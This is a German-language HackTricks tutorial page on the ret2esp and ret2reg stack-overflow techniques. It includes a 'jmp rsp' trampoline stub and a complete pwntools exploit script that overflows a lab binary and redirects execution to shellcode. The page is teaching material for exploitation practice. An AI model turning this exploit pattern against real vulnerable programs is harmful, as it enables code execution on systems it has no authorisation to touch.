hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md

5.8 KiB

Ret2esp / Ret2reg

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Rest2esp

Da der ESP (Stack-Zeiger) immer auf den obersten Teil des Stacks zeigt, beinhaltet diese Technik das Ersetzen des EIP (Instruktionszeigers) durch die Adresse einer jmp esp oder call esp Anweisung. Dadurch wird der Shellcode direkt nach dem überschriebenen EIP platziert. Wenn die ret-Anweisung ausgeführt wird, zeigt ESP auf die nächste Adresse, genau dort, wo der Shellcode gespeichert ist.

Wenn Address Space Layout Randomization (ASLR) in Windows oder Linux nicht aktiviert ist, ist es möglich, jmp esp oder call esp Anweisungen in gemeinsam genutzten Bibliotheken zu verwenden. Mit aktivem ASLR könnte es jedoch erforderlich sein, innerhalb des anfälligen Programms nach diesen Anweisungen zu suchen (und Sie müssen möglicherweise PIE umgehen).

Darüber hinaus ermöglicht es, den Shellcode nach der EIP-Korruption zu platzieren, anstatt in der Mitte des Stacks, sicherzustellen, dass keine push oder pop Anweisungen, die während des Betriebs der Funktion ausgeführt werden, den Shellcode beeinträchtigen. Diese Beeinträchtigung könnte auftreten, wenn der Shellcode in der Mitte des Stacks der Funktion platziert wäre.

Platzmangel

Wenn Ihnen der Platz zum Schreiben nach dem Überschreiben von RIP fehlt (vielleicht nur wenige Bytes), schreiben Sie einen anfänglichen jmp-Shellcode wie:

sub rsp, 0x30
jmp rsp

Und schreiben Sie den Shellcode früh im Stapel.

Beispiel

Sie können ein Beispiel für diese Technik unter https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp finden mit einem endgültigen Exploit wie:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

jmp_rsp = next(elf.search(asm('jmp rsp')))

payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')

pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()

Ret2reg

Ebenso können wir, wenn wir wissen, dass eine Funktion die Adresse zurückgibt, an der der Shellcode gespeichert ist, die call eax- oder jmp eax-Anweisungen nutzen (bekannt als ret2eax-Technik), um eine weitere Methode zum Ausführen unseres Shellcodes zu bieten. Genau wie eax kann jeder andere Registerwert mit einer interessanten Adresse verwendet werden (ret2reg).

Beispiel

Ein Beispiel findest du hier: https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg

Schutzmaßnahmen

  • NX: Wenn der Stack nicht ausführbar ist, hilft dies nicht, da wir den Shellcode im Stack platzieren und zu seiner Ausführung springen müssen.
  • ASLR & PIE: Diese können es schwieriger machen, eine Anweisung zum Springen zu esp oder einem anderen Register zu finden.

Referenzen

Lerne AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen: